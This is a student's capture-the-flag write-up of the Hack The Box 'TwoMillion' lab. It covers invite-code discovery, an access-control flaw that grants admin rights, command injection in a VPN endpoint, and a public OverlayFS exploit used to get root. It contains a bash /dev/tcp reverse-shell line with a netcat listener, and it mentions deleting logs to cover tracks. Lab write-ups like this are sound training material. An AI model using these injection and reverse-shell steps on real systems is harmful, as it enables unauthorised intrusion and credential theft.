Report

The box chosen to do is called two million. To begin my hunting, I first find out what information I can obtain about this box, before anything I found that this box would be exploitable through an invite code. So, understanding that is crucial as I will be attempting web exploitation. To begin the pen test methodology, I decided to go with is the regular pen testing method. It first begins with Reconnaissance. Reconnaissance is the method in which the attacker will begin by looking for information on the target via websites or anything public that will not let the organization know that they are being looked at. So the first step I did was look at the information that the box had. It had good information because it stated where the vulnerability can be found, in this case this box was going to be a web exploitation method. The first step was to get myself an invite code, and create a user and soon become an admin. The next part is enumeration. This typically will be noisier and let you know that somebody may be looking at your network. In this case my approach is typically using Nmap to understand the ports that are open on this box. The next part is gaining access. In this case the approach is going to be creating a user. This step will be a two part-er since I will be trying to get access as admin by escalating my privilege. The following step is covering your tracks. The way this would happen is by deleting logs and making sure that it looks like normal activity going on. The final part is the report and recommendations on the network/box.

To begin the process, my first take on this box is to look at the information on the box that is listed for me. In this case, as stated earlier, it is vulnerable to web exploitation more specifically through the invite code. So to begin, like anything else I first start with an Nmap scan. Since I am not trying to hide myself and it doesn’t matter if I am caught, I do the regular broad scan.

Nmap -sV ip address

The -sV will locate the versions just in case some of the ports that are open are old and can also be exploited. After doing this, the only 2 things that were open is the port 80, and port 22. Port 22 had the version OpenSSH 8.9p1 Ubuntu and the port 80 has nginx as its version.

A screenshot of a computer

Description automatically generated

Understanding this, my next approach is to login the website and see what its all about. When going to the website I am looking for the join by invite code

A screenshot of a computer

Description automatically generated

By clicking on the join HTB I get sent to the page that has the invite page. There I began to look for clues on how to locate certain apis.

A screenshot of a computer

Description automatically generated

To do this I began by looking at the developer tools. I first inspect the page, to see what the backend of the website looks like.

A screen shot of a computer program

Description automatically generated

If you look below very closely you can see that there is api, that says invite. I decided to go ahead and look and see what this has. It then brings me to this page.

A screen shot of a computer

Description automatically generated

It looks like gibberish, and according to the next step hackthebox wanted me to perceive was to decrypt it into something more readable. So, I took the code to this website it laid out for me called dev4js. Here I simply pasted the code and hit auto decode.

A screenshot of a computer program

Description automatically generated

I look at the code and there looks to be a class/function that is called makeinvitecode. And in that class it says there is a url that it will send you to if you call this function. So to go check it out, ctrl+shift+I and open up the website developer tool and type in the console and call the function.

A screenshot of a computer

Description automatically generated

As shown above I typed in makeinvitecode() and it gave me information on how to get the invitecode. In the hint it says that the best way to decrypt it is by using ROT13. ROT13 is an encryption cipher that is very standard and not used anymore because it is easy to decrypt. After taking that line and putting it in the rot13 coder you can find online at <https://rot13.com/>, and the plaintext results into something helpful.

A screenshot of a computer

Description automatically generated

With this knowledge I go ahead and copy and paste it into my url, and it returned a http 405 error.

A screenshot of a computer

Description automatically generated

So I decided to turn around and turn on burpsuite, a tool to help you figure out web exploitations. It helps you track what requests are being sent and returned that you typically don’t see. So I load up burpsuite and turn the intercept on.

A screenshot of a computer

Description automatically generated

I go ahead and refresh the page, and have it captured. I then sent it to the repeater by hitting ctrl+r. Why you may ask I send it to the repeater, well with the repeater you can take certain requests that you are making to the server and modifying so you can see what results are being sent back. This is really useful because if there is something miscoded the results will show you that error and a potential vulnerability.

A screenshot of a computer

Description automatically generated

After obtaining the code, I simply went ahead and created a profile/user on this website. And went to login page. And we are in.

A screenshot of a computer

Description automatically generated

The next step from here is to explore what options and what buttons we can click on. I first when to the access tab, since hackthebox told me to go ahead and look in that direction, so I go ahead and look for other website urls I can possibly go to. What do I mean by this, I simply go ahead and change the ending of the url from api/v1/user/vpn/generate to /api/v1/admin because at the end of the day that’s what we want. And nothing, it returns us an error. So instead, I go ahead and delete more leaving api/v1(sidenote this took around 10 min just to keep going at it, just trial and error). After that I found something that gave me something. It was api/v1. This showed me some requests that I can potentially ask for.

A screenshot of a computer

Description automatically generated

So I go ahead and grab my friend burpsuite and go ahead and make some requests. To do this simply open up burpsuite again, go to proxy, turn on intercept, and refresh the page. This should give you a request and you will want to send it to repeater again because we want to see what those admin urls are going to lead us to. Now that we got that, I focused on the admin requests we can possibly make.

A screenshot of a computer

Description automatically generated

I go ahead and replace the GET header with something like PUT /api/v1/admin/setting/update. Since my though process is I want to get admin and to do this I would like to make my user an admin. The way to this, at least I thought is like make my user a admin by changing the value to true, however I didn’t really know how to approach it. So here I pulled the walkthrough that the hackthebox had and started watching it at the 22:30 mark. It began by teaching me that the application type was not right however for me it looked like I never had my content type specified and my connection was stay alive. So I went ahead and changed those things and created a content type so I can see what messages are coming back. He then went on to explain that the error message was asking for a email then it asked for admin value. I went ahead and put the email line and admin line and it gave me root. He classified it as an IDOR vulnerability. Which I went to look up what specifically that meant, and according to google it mentions that the IDOR is a insecure direct object references. “This type of access control vulnerability that arises when an application uses user-supplied input to access objects directly” (google). Below is the picture.

A screenshot of a computer

Description automatically generated

My next approach is to check the last api page it has for admin, so I go ahead and create an admin vpn generate request, and it looks like it works now since I have the user an admin.

A screenshot of a computer

Description automatically generated

Sweet! Now I just need to add a username parameter. I go ahead and type in my current user, joe.

A screenshot of a computer

Description automatically generated

Sweet I can get a vpn generated for my user. Now to see if we can create command injections to it. I first begin my checking my ID.

A screenshot of a computer

Description automatically generated

Seems to work, so now that I know that anything after my username can be used to pull back what I want. So the next process is to get a shell. I look up how to do this, and the result is pretty simple. Bash -I >& /dev/tcp/my ip address/port 0>&1. But before I send this code I have to create a port where I am going to listen, to do this I go on my host computer (kali) and do nc -lvp 1234. It will now be listening for anything on 1234. I go ahead and try the Bash line and it doesn’t work. So I go back and look online what to do. It said that I need to do base 64 encrypt. So I go look at the write up on exactly what they meant because I have never done this before. Which now that I look at it, makes sense.

A screenshot of a computer

Description automatically generated

Lets go, I got a shell. Form here I obviously want to see what is in the files, so I go ahead and check through what is there. Just in case I made sure I checked for hidden files as well. The next step I looked at was to look at the .env file. So I go ahead and cat into the .env file

A screenshot of a computer

Description automatically generated

Boom we get a username and password. I go ahead and take note of that and may be able to use it to get through ssh. So I go ahead and spin up another shell and ssh into the admin, the command I used is as follows: ssh [admin@10.10.11.221](mailto:admin@10.10.11.221) followed by the password.

Boom we are in, I simply see what files are here and there is a user.txt file that I opened. We got the first flag.

A screenshot of a computer

Description automatically generated

The next step that the box wanted me to do, is to find the emails. So to do that I first go back directories to find /var. Here will be the emails that are stored on this machine. To go back directories I go ahead and do cd .. cd.. twice and now cd into var/mail

A screenshot of a computer

Description automatically generated

It looks like from here that a recent security flaw was being addressed. So I go ahead and see if there’s an exploitation in OverlayFs Fuse. Luckly there is an exploit. So, since this is on a github, we can just get clone. Here’s the website: <https://github.com/xkaneiki/CVE-2023-0386/blob/main/exp.c>. A screenshot of a computer

Description automatically generated

Now that we cloned it, it looked like I had to zip it up since it didn’t let me just send it straight up, and from there I used this new command scp I never heard of. I had to use the walkthrough on how to upload certain files. That’s also where I got the zip idea from.

A screenshot of a computer

Description automatically generated

A computer screen shot of a program

Description automatically generated

From here I began my exploit in hopes to gain root on the box. First I look at the readme to see how to start this exploit. First it tells me to make all.

A screenshot of a computer

Description automatically generated

Then it tells me to ./fuse and final ./exp. So that’s what I go ahead and do.

A screenshot of a computer

Description automatically generated

We check our id, and boom root. From here I go back to the home directory and just look for the flag. I forgot where I was, but it ended up in the root home folder.

A screenshot of a computer program

Description automatically generated

The 2 exploits that could be cleared up is going to be where we first became admin in the website. This is a coding issue that needs to be fixed. The second exploit that we used to get admin shell and find the username and password was through the vpn generate. Through here I was able to import code that created a shell. So once again I believe that this is a coding issue that needs to be addressed somewhere amongst the code.